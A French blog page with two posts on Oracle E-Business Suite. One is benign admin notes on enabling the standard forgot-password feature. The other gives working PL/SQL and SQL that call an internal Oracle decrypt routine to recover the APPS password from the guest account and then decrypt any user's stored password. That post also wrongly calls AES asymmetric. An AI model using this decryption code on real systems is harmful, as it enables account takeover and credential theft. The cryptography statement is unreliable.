Affichage des articles dont le libellé est Mot de passe. Afficher tous les articles
Affichage des articles dont le libellé est Mot de passe. Afficher tous les articles

mercredi 27 juillet 2016

fonctionalité mot de passe dans Oebs

Activation de la fonctionnalité mot de passe dans Oebs (quelques notes)


1 - Préambule:
« Il est possible de modifier certaines zones en standard.
Il s'agit de zones texte, et les tests montrent que les retours chariot ne sont pas pris en compte.
Cf. note Oracle 468971.1
Pour des modifications plus poussées, il faut modifier le fichier AppsLocalLogin.jsp dans $OA_HTML
mais suppose la modification du standard Oracle (non support et écrasement possible lors d'un patch). »

« Abandon du besoin initial :
Je propose d'abandonner le besoin initiale exprimé dans cette fiche, pour le remplacer par l'activation en standard de la possibilité donnée à l'utilisateur de demander au système de réinitialiser automatiquement son mot de passe à partir de la page d'accueil, réceptionné ensuite par email.
Cette fonctionnalité standard est pilotée par l'option de profil "Masque de connexion local"
Cf note Reset Password Functionality FAQ [ID 399766.1]
En conséquence, pouvez-vous étudier et tester de bout en bout la solution ? »

La page qui s'affiche à l'acueil est AppsLocalLogin.jsp du répertoire $OA_HTML.
Vu sur le net  pour permettre l'affichage HTML :
if ((displayMask & SARBANES_OXLEY_TEXT) != 0)
{
//StyledTextBean legalMessage = new StyledTextBean();
RawTextBean legalMessage = new RawTextBean();//jcc
legalMessage.setText(FND_SSO_SARBANES_OXLEY_TEXT);
stackLayoutForCopyright.addIndexedChild(legalMessage);
}

On peut ensuite introduire du texte balisé comme :

< span style='font-size:10.0pt'>Un guide de connexion à AFP pour consultation est disponible à l'adresse suivante :


title="Guide de connexion à AFP" target="_blank">Guide de connexion à AFP

En cas de difficultés, vous pouvez adresser votre demande d'assistance à la liste de diffusion suivante : <b>toto</b> .

2 - Option de profil contrôlant le masque de connexion :

Cette fonctionnalité standard est pilotée par l’option de profil accessible au niveau site seulement.
Masque de connexion locale = 127
 Cf note Reset Password Functionality FAQ [ID 399766.1]
La valeur 127 permet d’afficher l’ensemble des options.
Valeur actuelle en production = 32 (affichage des options de langage)
Valeur proposée = 40 (ajout de l’affichage « mot de passe oublié »)

 















3 –Utilisation de l’URL

La fenêtre suivante apparaît demandant la saisie du nom utilisateur.








Saisie d’un nom utilisateur (pas de contrôle) et action sur le bouton « Soumettre » ou le bouton « Annuler ».
Le bouton « Soumettre » déclenche les contrôles de saisie. Le bouton « Annuler » permet de revenir sur la page de connexion.
 
4 - Saisie d’un nom utilisateur inexistant ou expiré (DEV) :




 



Ces messages d’erreur sur la page sont composés et modifiables (UPDATE) :
select n.* from fnd_new_messages n
where message_name in ('UMX_FORGOT_PWD_ERROR_MSG','UMX_FORGOT_PWD_INVALID_USER')
and language_code = 'F'

Messages actuels :
« Une erreur s'est produite lors du traitement de votre demande. Recherchez le champ approprié et corrigez-en la valeur. »
« Compte utilisateur non valide ou arrivé à expiration. »

4 - Saisie d’un nom utilisateur valide

Déclenchement du WF UMXUPWD qui envoie un message de notification.

Le message est envoyé à l’adresse mail du compte employé lié au compte utilisateur. Si le compte utilisateur ne possède pas d’employé, le message est envoyé à l’adresse mail paramétrée sur le compte utilisateur.



 
Message envoyé :


 
L’utilisateur peut alors « Approuver », « rejeter » ou ne rien faire.

S’il approuve il recevra un message du type :

 
S’il rejette, son mot de passe n’est pas modifié.

S’il ne fait rien, la notification expire au bout d’un certain laps de temps (cf. « expiration de la notification »ci-dessous).

 
5 – Construction du message de notification

Il est constitué dans le WF « UMX – Mot de passe ».



 
Détail du WF :

 
Pour agir sur le texte du message, il faut modifier la génération du message dans le WF.

Notes Oracle sur le sujet :

How To Change The Message Template, Remove the Approve & Reject Links, and Hide Request More Information Buttons from a Workflow E-mail Notification [ID 302214.1]

How To Create A Custom Message Template OPEN_MAIL_FYI (System: Mailer) for a Particular Item Type? [ID 819596.1]


Parmi les possibilités :
Le corps &BODY est dans le WF UMXPWD lui-même.
On peut modifier l’attribut OPEN_MAIL : modifiera le message pour tout WF qui utilise cet attribut.
select * from WF_MESSAGES_TL
where type = 'WFMAIL' and name = 'OPEN_MAIL'
 
On peut créer un attribut spécifique et le mettre en place de l’OPEN_MAIL dans leWF UMXPWD (spécifique non supporté Oracle)

Extraits du WF Builder :


6 – Expiration de la notification

En standard, la notification demandant la réinitialisation du mot de passe est valide 4 heures. Cette durée est modifiable dans le WF.

Cependant les tests ont montré que la notification reste valide après ce temps (et le WF actif).
Pour que ça fonctionne, il faut lancer le traitement de Workflow en arrière plan pour ce WF.


mercredi 10 décembre 2014

Mot de passe dans Oebs



Est-il de règle de commencer par cette phrase lorsqu'on parle de récupérer un mot de passe, afin de montrer que cette connaissance n'implique pas forcément la volonté de récupérer des mots de passe de manière intrusive ?
Je me suis posé cette question sachant que ce moyen existait et ayant quelques notions de cryptographie, qualité toutefois non nécessaire pour effectuer ces tâches de récupération. Il est néanmoins nécessaire de disposer d'un certain nombre d'éléments.
Les éléments ci-dessous se basent essentiellement sur un note trouvée ici. Notons que cette note date de 2006 et qu'elle est toujours valable à quelques détails prêts.

1 - Faire un PKG ou une fonction sur compte APPS
CREATE OR REPLACE PACKAGE XX_TEST_MDP
    AS
       FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)
          RETURN VARCHAR2;
    END XX_TEST_MDP;
    /
    
    CREATE OR REPLACE PACKAGE BODY XX_TEST_MDP
    AS
       FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)
          RETURN VARCHAR2
       AS
          LANGUAGE JAVA
          NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';
    END XX_TEST_MDP;


2 - Obtenir le mot de passe APPS à partir du compte GUEST
SELECT a.user_name,(
      SELECT XX_TEST_MDP.decrypt(
                                     ((SELECT upper(fnd_profile.value('GUEST_USER_PWD')) FROM dual))
                                    ,a.encrypted_foundation_password)
      FROM dual
      ) AS apps_password
FROM  fnd_user a
WHERE  a.user_name LIKE upper(
    (SELECT
          substr(fnd_profile.value('GUEST_USER_PWD'),1,instr(fnd_profile.value('GUEST_USER_PWD'),'/')-1)
           FROM dual)
     );

3- Obtenir mot de passe d'un utilisateur TOTO
SELECT   fnd_user.user_name,
           XX_TEST_MDP.decrypt
              (:mdp_apps,  fnd_user.encrypted_user_password ) decrypted_user_password
      FROM fnd_user
      WHERE user_name = 'TOTO'
  ORDER BY fnd_user.user_name;


4 - Moyen détourné d'avoir APPS (en ayant connaissance d'un utilisateur lambda)
Remarquons que la clef de cryptage est constituée du nom utilisateur et de son mot de passe...
SELECT a.user_name,(
      XX_TEST_MDP.decrypt(
                                     ((a.user_name||'/:mdp_lambda))
                                    ,a.encrypted_foundation_password)
      ) apps_password
FROM  fnd_user a
WHERE   a.user_name = 'Lambda
';

Les données cryptées dans la table FND_USER ressemblent à quelques chose comme cela :
ZGFB66A8F502A7C5E5B672D32264987F1EE4B4FDC791AE838B3972DD5A200E8B5B53A9A20F01D1B4CBD870F8DF16E43F3456

Il est possible de construire (comme c'est fait par exemple ici)  ses propres fonctions d'encryptage.
Signalons aussi que le DES est considéré dépassé, et qu'Oracle applications utilise vraisemblablement le triple DES (cf. quelques copies d'écran ci-dessous, quelque amateur averti pourra s'amuser à le vérifier et à trouver la méthode de cryptage à partir des données ci-dessus récupérées). Dans ce type d'algorithme, les données entrées sont mélangées à celles d'une clef (processus itératif d'additions, de découpage et de collage répétés dit à clef symétrique car la même clef est utilisée au décodage qu'au codage, le processus de décodage consistant à "détricoter" (à effectuer la même série d'opération en sens inverse). Un chiffrage asymétrique comme AES utilise une clef de chiffrage différente de la clef de déchiffrage.




What would you do if I sang out of tune,
Would you stand up and walk out on me.
Lend me your ears and I'll sing you a song,
And I'll try not to sing out of key.